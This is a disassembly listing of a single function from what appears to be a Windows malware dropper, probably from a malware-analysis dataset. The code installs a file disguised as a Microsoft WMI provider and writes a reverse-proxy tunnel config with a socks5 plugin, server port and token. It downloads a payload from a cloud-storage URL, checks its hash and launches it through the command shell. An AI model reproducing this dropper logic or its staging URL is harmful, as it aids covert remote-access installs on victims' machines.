Function at 0x411790
Capabilities:
Check if file exists
Check os version
Copy file
Create process on windows
Delete file
Delete registry value
Download url
Get common file path
Get comspec environment variable
Get file attributes
Query environment variable
Query or enumerate registry value
Receive data
Schedule task via at

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x439a11
mov eax, dword fs:[0]
push eax
mov eax, 0x52f0
call fcn.0042d850
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push 0x208
lea ecx, [ebp - 0x46c]
push 0
push ecx
mov dword [ebp - 0x52c0], eax
call fcn.00422ed0
add esp, 0xc
push 0x208
lea edx, [ebp - 0x264]
push 0
push edx
call fcn.00422ed0
add esp, 0xc
push 0x208
lea eax, [ebp - 0x674]
push 0
push eax
call fcn.00422ed0
add esp, 0xc
push 0x11c
xor edi, edi
lea ecx, [ebp - 0x52b4]
push edi
push ecx
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x52b4]
push edx
mov dword [ebp - 0x52b4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4119d7
cmp dword [ebp - 0x52a4], 2
jne 0x4119d7
cmp dword [ebp - 0x52b0], 5
jbe 0x4119d7
lea eax, [ebp - 0x52bc]
push eax
push 8
mov dword [ebp - 0x52bc], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4119d7
mov edx, dword [ebp - 0x52bc]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea ecx, [ebp - 0x52b8]
push ecx
push edi
push edi
push 0x19
push edx
mov dword [ebp - 0x52b8], edi
call ebx
test eax, eax
jne 0x411903
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x411903
mov eax, dword [ebp - 0x52b8]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x411903
mov edx, dword [ebp - 0x52b8]
mov eax, dword [ebp - 0x52bc]
lea ecx, [ebp - 0x52b8]
push ecx
push edx
push esi
push 0x19
push eax
call ebx
test eax, eax
je 0x4118fc
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx edx, byte [eax]
mov eax, dword [esi]
dec edx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov edi, dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x52bc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0x2000
ja 0x411a78
je 0x411b31
test edi, edi
je 0x4119d7
cmp edi, 0x1000
jne 0x411a90
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x46c]
push edx
push 0
push 0
push 0x1a
push 0
call edi
test eax, eax
js 0x412efb
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.MicrosoftFolderRedirectionWMIProviderPLS
lea eax, [ebp - 0x46c]
push eax
call esi
push 0
push 0x3000010
push 1
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x46c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea edx, [ebp - 0x46c]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
push 0
push 0
push 0x1a
push 0
call edi
push str.RedirectionWMIProvider
lea ecx, [ebp - 0x264]
push ecx
call esi
lea edx, [ebp - 0x674]
push edx
push 0
push 0
push 0x1a
push 0
call edi
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea eax, [ebp - 0x674]
push eax
jmp 0x411bcd
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea ecx, [ebp - 0x46c]
push ecx
push 0
push 0
push 0x1a
push 0
call edi
test eax, eax
js 0x412efb
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.MicrosoftFolderRedirectionWMIProviderPLS
lea edx, [ebp - 0x46c]
push edx
call esi
push 0
push 0x3000010
push 1
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea ecx, [ebp - 0x46c]
push ecx
call esi
lea edx, [ebp - 0x264]
push edx
push 0
push 0
push 0x1a
push 0
call edi
push str.RedirectionWMIProvider
lea eax, [ebp - 0x264]
push eax
call esi
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
push 0x1a
push 0
call edi
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea edx, [ebp - 0x674]
push edx
jmp 0x411bcd
cmp edi, 0x3000
je 0x411b31
cmp edi, 0x4000
je 0x4119d7
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x46c]
push edx
push 0
push 0
push 0x1a
push 0
call edi
test eax, eax
js 0x412efb
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.MicrosoftFolderRedirectionWMIProviderPLS
lea eax, [ebp - 0x46c]
push eax
call esi
push 0
push 0x3000010
push 1
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x46c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea edx, [ebp - 0x46c]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
push 0
push 0
push 0x1a
push 0
call edi
push str.RedirectionWMIProvider
lea ecx, [ebp - 0x264]
push ecx
call esi
lea edx, [ebp - 0x674]
push edx
push 0
push 0
push 0x1a
push 0
call edi
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea eax, [ebp - 0x674]
push eax
jmp 0x411bcd
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x46c]
push eax
push 0
push 0
push 0x1a
push 0
call edi
test eax, eax
js 0x412efb
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.MicrosoftFolderRedirectionWMIProviderPLS
lea ecx, [ebp - 0x46c]
push ecx
call esi
push 0
push 0x3000010
push 1
push 0
push 3
push 0xc0000000
lea edx, [ebp - 0x46c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea eax, [ebp - 0x46c]
push eax
call esi
lea ecx, [ebp - 0x264]
push ecx
push 0
push 0
push 0x1a
push 0
call edi
push str.RedirectionWMIProvider
lea edx, [ebp - 0x264]
push edx
call esi
lea eax, [ebp - 0x674]
push eax
push 0
push 0
push 0x1a
push 0
call edi
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea ecx, [ebp - 0x674]
push ecx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.taskkill__f__im_MicrosoftFolderRedirectionWMIProvider.exe
call esi
push 0
push str.taskkill__f__im_MicrosoftFolderRedirectionWMIProvider.exe
call esi
push 0
push str.taskkill__f__im_MicrosoftFolderRedirectionWMIProvider.exe
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x378
call ebx
lea edi, [ebp - 0x138c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x411c04
mov ecx, 8
mov esi, str.d41d8cd98f00b204e9800998ecf8427e
rep movsd dword es:[edi], dword [esi]
push 0x800
lea edx, [ebp - 0x5194]
push 0
push edx
movsb byte es:[edi], byte [esi]
call fcn.00422ed0
add esp, 0xc
push 0x800
lea eax, [ebp - 0x4194]
push 0
push eax
call fcn.00422ed0
mov edi, dword [ebp - 0x52c0]
add esp, 0xc
lea ecx, [ebp - 0x5194]
push edi
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3992]
push eax
mov word [ebp - 0x3994], dx
call fcn.00422ed0
lea ecx, [ebp - 0x3994]
add esp, 0x14
push ecx
mov ecx, str.PLS_lolocckA
call fcn.004065e0
add esp, 4
lea edx, [ebp - 0x3994]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x411d98
push 0x3ff
push eax
mov byte [ebp - 0x1284], al
lea eax, [ebp - 0x1283]
push eax
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0x1284]
push ecx
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
lea eax, [ebp - 0x1284]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411cf0
sub eax, edx
lea edx, [ebp - 0x1284]
push edx
mov edx, eax
call fcn.00406910
add esp, 4
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x1d92]
push ecx
mov word [ebp - 0x1d94], ax
call fcn.00422ed0
lea eax, [ebp - 0x1284]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411d31
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0x1284]
push edx
push 0
push 0
call ebx
lea ecx, [ebp - 0x1284]
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x411d60
push eax
sub ecx, esi
lea eax, [ebp - 0x1d94]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x1284]
push ecx
push 0
push 0
call ebx
push str.PLS_lolocckA
lea esi, [ebp - 0x1d94]
call fcn.00410e50
add esp, 4
jmp 0x411f38
push 0x208
lea edx, [ebp - 0x87c]
push 0
push edx
mov dword [ebp - 0x52bc], 0
call fcn.00422ed0
add esp, 0xc
lea eax, [ebp - 0x52bc]
push eax
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x52c0], 0x104
mov dword [ebp - 0x52b8], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x52c0]
push ecx
mov ecx, dword [ebp - 0x52bc]
lea edx, [ebp - 0x87c]
push edx
lea eax, [ebp - 0x52b8]
push eax
push 0
push str.PLS_lolocckA
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x411e1c
push 0x22b
call ebx
jmp 0x412efb
push 0x3ff
lea edx, [ebp - 0x1283]
push 0
push edx
mov byte [ebp - 0x1284], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x87c]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0x1284]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
lea eax, [ebp - 0x1284]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411e80
sub eax, edx
lea ecx, [ebp - 0x1284]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1d92]
push eax
mov word [ebp - 0x1d94], dx
call fcn.00422ed0
lea eax, [ebp - 0x1284]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411ec1
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x1284]
push ecx
push 0
push 0
call ebx
lea ecx, [ebp - 0x1284]
mov esi, eax
lea edi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411ef0
push esi
sub ecx, edi
lea edx, [ebp - 0x1d94]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x1284]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x1d94]
push ecx
lea edx, [ebp - 0x5194]
push 0x400
push edx
call fcn.00420322
mov eax, dword [ebp - 0x52bc]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x4992]
push edx
mov word [ebp - 0x4994], cx
call fcn.00422ed0
lea eax, [ebp - 0x4994]
add esp, 0xc
push eax
mov ecx, str.PLS_lolocckB
call fcn.004065e0
add esp, 4
lea ecx, [ebp - 0x4994]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x41210c
push eax
call fcn.00421c8e
add esp, 4
push eax
call fcn.00421475
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
add esp, 4
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x52bc], eax
mov dword [ebp - 4], 0
call fcn.00421487
cdq
mov ecx, 0x2710
idiv ecx
lea edi, [ebp - 0x52bc]
add edx, 0xc350
push edx
push 0x43e9f4
call fcn.0040ec10
push 0x3ff
lea edx, [ebp - 0xc7b]
push 0
push edx
mov byte [ebp - 0xc7c], 0
call fcn.00422ed0
mov edi, dword [ebp - 0x52bc]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x14
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0xc7c]
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
lea eax, [ebp - 0xc7c]
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412030
sub eax, esi
lea ecx, [ebp - 0xc7c]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3192]
push eax
mov word [ebp - 0x3194], dx
call fcn.00422ed0
lea eax, [ebp - 0xc7c]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412071
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xc7c]
push ecx
push 0
push 0
call ebx
lea ecx, [ebp - 0xc7c]
mov esi, eax
lea eax, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x412098
push esi
sub ecx, eax
lea edx, [ebp - 0x3194]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xc7c]
push eax
push 0
push 0
call ebx
push str.PLS_lolocckB
lea esi, [ebp - 0x3194]
call fcn.00410e50
add esp, 4
push edi
lea ecx, [ebp - 0x4194]
push 0x400
push ecx
call fcn.00420322
lea eax, [edi - 0x10]
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4122a8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x4122a8
push 0x208
lea ecx, [ebp - 0x87c]
push 0
push ecx
mov dword [ebp - 0x52bc], 0
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x52bc]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x52c0], 0x104
mov dword [ebp - 0x52b8], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x52c0]
push eax
mov eax, dword [ebp - 0x52bc]
lea ecx, [ebp - 0x87c]
push ecx
lea edx, [ebp - 0x52b8]
push edx
push 0
push str.PLS_lolocckB
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x412194
push 0x22b
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x412efb
push 0x3ff
lea ecx, [ebp - 0xc7b]
push 0
push ecx
mov byte [ebp - 0xc7c], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0xc7c]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x87c]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0xc7c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4121f2
sub eax, edx
lea edx, [ebp - 0xc7c]
push edx
mov edx, eax
call fcn.00406910
add esp, 4
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x3192]
push ecx
mov word [ebp - 0x3194], ax
call fcn.00422ed0
lea eax, [ebp - 0xc7c]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412233
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0xc7c]
push edx
push 0
push 0
call ebx
lea ecx, [ebp - 0xc7c]
mov esi, eax
lea edi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412260
push esi
sub ecx, edi
lea eax, [ebp - 0x3194]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0xc7c]
push ecx
push 0
push 0
call ebx
lea edx, [ebp - 0x3194]
push edx
lea eax, [ebp - 0x4194]
push 0x400
push eax
call fcn.00420322
mov ecx, dword [ebp - 0x52bc]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea edx, [ebp - 0x2193]
push 0
push edx
mov byte [ebp - 0x2194], 0
call fcn.00422ed0
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
call fcn.00411650
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 4
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0x2194]
push eax
push 0xffffffffffffffff
push ecx
call fcn.00411650
add esp, 4
push eax
push 0
push 0
call esi
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x2992]
push edx
mov word [ebp - 0x2994], cx
call fcn.00422ed0
lea eax, [ebp - 0x2194]
add esp, 0xc
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412330
push 0
sub eax, esi
push 0
inc eax
push eax
lea eax, [ebp - 0x2194]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x2194]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412357
push esi
sub ecx, edi
lea edx, [ebp - 0x2994]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x2194]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
lea edx, [ebp - 0x264]
push edx
push str.UMnwio9zv2FqxxUVMR0jWJnXhzGyjuwdGhyjE7NmuwPzPTn2oWYbUgHhroi6QH
push str.Type
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.ya4feBPz9quDWubPmy1BrWBrJ2epxBFxdZ2u51ne4Q6dcjTemYgPRQMGN5akXwRqkmPKRMc5ptX1Mccd9HRaBLKEd0AntxumwTZx
push str.Data
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.BaewDPQVGuCDzJTRtBkUeDMJndrtmjZKbAmYMcrLmmWGpRgkaMYNCzddPbwdRn
push str.testing
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.gur_:Jptzo.TaD_DeuHddcG__Pu__
push str.timening
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.1663323310
push str.mtime
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.VNFFpua5yY1W3sJHdbYxhDuFNPZX3jQ3
push str.rebuild
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push 0x43fdd4
push 0x43fdd8
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.2008_09_16_19:56:59
push str.lsctime
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.2008_09_16_21:58:58
push str.lstime
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.r9f.ChWsP1kbJyKw8DtwHn7j73hVdQumXrWmjdLT
push str.status
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x5194]
push ecx
push str.server_addr
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.10086
push str.server_port
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.false
push str.login_fail_exit
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.76nysyizo04zbt2
push str.token
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.lgooo
push str.log_file
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.error
push str.log_level
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push 0x43ff84
push str.type
lea edx, [ebp - 0x2994]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x4194]
push ecx
push str.remote_port
lea edx, [ebp - 0x2994]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
push str.socks5
push str.plugin
lea ecx, [ebp - 0x2994]
push ecx
call esi
lea edx, [ebp - 0x264]
push edx
push str.127.0.0.1
push str.plugin_user
lea eax, [ebp - 0x2994]
push eax
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.127.0.0.1
push str.plugin_passwd
lea edx, [ebp - 0x2994]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
push str.1211
push str.hotkey
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.4433
push str.InitSearchHotkey
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.5133
push str.SortDesktop
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.C_AcpXjck_DFWPyRUkm_mwUfjnzK_LUBG_vBGFmW_quoC__GUzvTtT
push str.DeskMirror
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.2Zy__3V5t_EUZxyp_0d9KE8.vJykM65shbB
push 0x440174
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.zme_BXuYsM__ksWAAsY__YDm:Qng.WVBT_Ago_r___hac_NtizLef_fA
push str.CloudRootPath
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.C:Windows_
push str.CloudUserPath
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.vycFda__FrUZ_et__CDzWbhutQ_u:p_nj_DF_gtoz_.a_YaqHkndi_Wyi
push str.show
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.htjyre
push 0x4402ec
push str.common
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [ebp - 0x674]
push eax
call ebx
cmp eax, 0xffffffff
jne 0x412ae5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x412ae5
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x52b8], eax
push str.http:__trjdfhdfufgbsdt.oss_accelerate_overseas.aliyuncs.com_MicrosoftFolderRedirectionWMIProvider.exe
push 0x43ea88
lea edi, [ebp - 0x52b8]
mov dword [ebp - 4], 1
call fcn.0040ec10
mov edi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
add esp, 8
xor ebx, ebx
push ebx
call edi
mov esi, dword [ebp - 0x52b8]
push esi
call edi
push ebx
push ebx
lea ecx, [ebp - 0x674]
push ecx
push esi
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
cmp eax, ebx
jne 0x412ab9
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea edx, [ebp - 0x674]
push edx
call edi
cmp eax, 0xffffffff
jne 0x412717
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x412a5d
push 0x3ff
lea eax, [ebp - 0xc7b]
push ebx
push eax
mov byte [ebp - 0xc7c], bl
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
lea ecx, [ebp - 0x674]
push ecx
push ebx
push ebx
call esi
push ebx
push ebx
push eax
lea edx, [ebp - 0xc7c]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x674]
push eax
push ebx
push ebx
call esi
lea ecx, [ebp - 0x5c]
push ecx
lea edx, [ebp - 0xc7c]
push edx
call fcn.00411510
lea eax, [ebp - 0x138c]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.00422080
add esp, 0x10
test eax, eax
jne 0x412a5d
mov ecx, str.c5221da4df76e597588be03fc1372e55
lea eax, [ebp - 0x5c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4127b3
test dl, dl
je 0x4127af
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4127b3
add eax, 2
add ecx, 2
test dl, dl
jne 0x412793
xor eax, eax
jmp 0x4127b8
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x412a5d
lea edx, [ebp - 0x46c]
push edx
call edi
cmp eax, 0xffffffff
jne 0x412806
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x412806
push ebx
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x674]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x4128d6
lea ecx, [ebp - 0x52b8]
call fcn.0040e3b0
jmp 0x412efb
push 0x3ff
lea edx, [ebp - 0x1993]
push ebx
push edx
mov byte [ebp - 0x1994], bl
call fcn.00422ed0
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
lea eax, [ebp - 0x46c]
push eax
push ebx
push ebx
call esi
push ebx
push ebx
push eax
lea ecx, [ebp - 0x1994]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x46c]
push edx
push ebx
push ebx
call esi
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x1994]
push ecx
call fcn.00411510
lea edx, [ebp - 0x138c]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00422080
add esp, 0x10
test eax, eax
je 0x412884
push ebx
lea ecx, [ebp - 0x46c]
push ecx
lea edx, [ebp - 0x674]
push edx
jmp 0x4127e8
mov ecx, str.c5221da4df76e597588be03fc1372e55
lea eax, [ebp - 0x38]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4128b0
test dl, dl
je 0x4128ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4128b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x412890
xor eax, eax
jmp 0x4128b5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4128d6
push ebx
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x674]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x412a5d
push 0x208
lea edx, [ebp - 0x108c]
push ebx
push edx
call fcn.00422ed0
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x46c]
push ecx
lea edx, [ebp - 0x108c]
push str.__s___c___s_
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x206
lea ecx, [ebp - 0x87a]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x87c], ax
call fcn.00422ed0
add esp, 0x1c
push 0x206
lea eax, [ebp - 0x1592]
xor edx, edx
push ebx
push eax
mov word [ebp - 0x1594], dx
call fcn.00422ed0
add esp, 0xc
push 0x206
lea edx, [ebp - 0xe82]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0xe84], cx
call fcn.00422ed0
add esp, 0xc
push 0x208
lea eax, [ebp - 0x87c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
lea ecx, [ebp - 0x87c]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0x208
lea eax, [ebp - 0x1594]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str._c__
lea ecx, [ebp - 0xe84]
push ecx
call esi
lea edx, [ebp - 0x108c]
push edx
lea eax, [ebp - 0xe84]
push eax
call esi
push 0x440420
lea ecx, [ebp - 0xe84]
push ecx
call esi
lea ecx, [ebp - 0x52fc]
lea edx, [ebp - 0x1594]
lea eax, [ebp - 0xe84]
push ecx
mov dword [ebp - 0x52fc], 0x3c
mov dword [ebp - 0x52f4], ebx
mov dword [ebp - 0x52f0], 0x440424
mov dword [ebp - 0x52ec], edx
mov dword [ebp - 0x52e8], eax
mov dword [ebp - 0x52e4], ebx
mov dword [ebp - 0x52e0], ebx
mov dword [ebp - 0x52f8], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x412a6d
mov edx, dword [ebp - 0x52c4]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
